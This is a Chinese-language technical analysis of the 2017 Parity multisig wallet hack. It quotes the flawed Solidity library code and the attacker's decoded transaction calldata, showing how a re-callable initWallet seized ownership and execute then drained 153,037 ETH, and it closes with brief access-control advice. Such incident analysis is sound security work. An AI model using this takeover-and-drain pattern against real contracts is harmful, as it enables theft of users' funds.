攻击描述
- 被黑目标:Parity
- 事件描述:2017 年 7 月 29 日,以太坊多重签名钱包公司 Parity 发布安全警报,告知用户其钱包 v1.5 及以上版本存在严重漏洞。 当天,一名黑帽黑客利用该漏洞耗尽了三个以太坊项目的 Parity 钱包,从 Swarm City、Edgeless 和 Aeternity 共盗取了 153,037 个 ETH。
- 损失金额:153,037 ETH
- 攻击方式:未授权操作
合约描述
- 黑客地址: 0xb3764761e297d6f121e79c32a65829cd1ddb4d32
- 合约代码: https://github.com/openethereum/parity-ethereum/blob/4d08e7b0aec46443bf26547b17d10cb302672835/js/src/contracts/snippets/enhanced-wallet.sol
- 到影响的合约代码均为 Parity 的创始人 Gavin Wood 写的 Multi-Sig 库代码
攻击过程技术分析
第一步:获取 owner 权限
核心漏洞出现在 function() payable
内,代码如下:
function() payable {
// just being sent some cash?
if (msg.value > 0)
Deposit(msg.sender, msg.value);
else if (msg.data.length > 0)
_walletLibrary.delegatecall(msg.data);
}
分析代码得知:如果像合约地址转账时候,当 value
大于零,则进行存款操作。
当 value
等于零,并且当前交易有 input 内容的时候,合约会执行 _walletLibrary.delegatecall(msg.data);
,也就是传入任何内容都会被执行。
黑客调用了一个叫做 initWallet 的函数,initWallet 没有做防止攻击者在合同初始化后调用到 initMultiowned 的检查。
// constructor - just pass on the owner array to the multiowned and
// the limit to daylimit
function initWallet(address[] _owners, uint _required, uint _daylimit) {
initDaylimit(_daylimit);
initMultiowned(_owners, _required);
}
initWallet 这个函数再次调用 initMultiowned 函数,这个函数使得合约的所有者被改为攻击者。
// constructor is given number of sigs required to do protected "onlymanyowners" transactions
// as well as the selection of addresses capable of confirming them.
function initMultiowned(address[] _owners, uint _required) {
m_numOwners = _owners.length + 1;
m_owners[1] = uint(msg.sender);
m_ownerIndex[uint(msg.sender)] = 1;
for (uint i = 0; i < _owners.length; ++i)
{
m_owners[2 + i] = uint(_owners[i]);
m_ownerIndex[uint(_owners[i])] = 2 + i;
}
m_required = _required;
}
黑客攻击的交易 hash 是: 0x9dbf0326a03a2a3719c27be4fa69aacc9857fd231a8d9dcaede4bb083def75ec
Function: initWallet(address[] _owners, uint256 _required, uint256 _daylimit) ***
MethodID: 0xe46dcfeb
[0]: 0000000000000000000000000000000000000000000000000000000000000060
[1]: 0000000000000000000000000000000000000000000000000000000000000000
[2]: 00000000000000000000000000000000000000000000116779808c03e4140000
[3]: 0000000000000000000000000000000000000000000000000000000000000001
[4]: 000000000000000000000000b3764761e297d6f121e79c32a65829cd1ddb4d32 // 这里是攻击者的地址
第二步转移资金
调用合约的 execute
方法,这个方法是限制 owner 使用的。但是攻击者已经获得了 owner 权限。
// Outside-visible transact entry point. Executes transaction immediately if below daily spend limit.
// If not, goes into multisig process. We provide a hash on return to allow the sender to provide
// shortcuts for the other confirmations (allowing them to avoid replicating the _to, _value
// and _data arguments). They still get the option of using them if they want, anyways.
function execute(address _to, uint _value, bytes _data) external onlyowner returns (bytes32 o_hash) {
// first, take the opportunity to check that we're under the daily limit.
if ((_data.length == 0 && underLimit(_value)) || m_required == 1) {
// yes - just execute the call.
address created;
if (_to == 0) {
created = create(_value, _data);
} else {
if (!_to.call.value(_value)(_data))
throw;
}
SingleTransact(msg.sender, _value, _to, _data, created);
} else {
// determine our operation hash.
o_hash = sha3(msg.data, block.number);
// store if it's new
if (m_txs[o_hash].to == 0 && m_txs[o_hash].value == 0 && m_txs[o_hash].data.length == 0) {
m_txs[o_hash].to = _to;
m_txs[o_hash].value = _value;
m_txs[o_hash].data = _data;
}
if (!confirm(o_hash)) {
ConfirmationNeeded(o_hash, msg.sender, _value, _to, _data);
}
}
}
https://etherscan.io/tx/0xeef10fc5170f669b86c4cd0444882a96087221325f8bf2f55d6188633aa7be7c
Function: execute(address _to, uint256 _value, bytes _data) ***
MethodID: 0xb61d27f6
[0]: 000000000000000000000000b3764761e297d6f121e79c32a65829cd1ddb4d32 // 转移到攻击者地址
[1]: 00000000000000000000000000000000000000000000116779808c03e4140000
[2]: 0000000000000000000000000000000000000000000000000000000000000060
[3]: 0000000000000000000000000000000000000000000000000000000000000000
[4]: 0000000000000000000000000000000000000000000000000000000000000000
这种执行是自动授权的,因为攻击者当时是多重签名的唯一所有者,有效地耗尽了合约的所有资金。
解决方案
攻击的核心问题在于越权函数的调用,合约接口必须精心设计和明确定义访问权限,或者更进一步说,合约的设计必须符合某种成熟的模式。
推荐的模式是明确定义哪些库函数可以在合约上从外部调用。